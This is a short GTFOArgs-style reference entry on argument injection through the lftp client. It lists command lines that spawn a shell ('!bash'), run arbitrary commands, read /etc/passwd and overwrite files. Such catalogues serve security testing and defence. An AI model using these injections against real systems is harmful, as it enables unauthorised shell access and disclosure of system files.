Argument injection via lftp
lftp lftp Sandbox: execFile · Timeout: 30s
security.execution.command system.file.read system.file.write Stack commands that include launching a shell.
lftp -e '!bash' Stack commands that include running a command.
lftp -e '!whoami' Read an arbitrary file by specifying it as a script file.
lftp -f /etc/passwd Overwrite a file, or create an empty file.
lftp -c 'mirror --script=lftp.script' GTFOArgs entry for lftp. This binary can be used to inject arguments for execution, file operations, or other capabilities.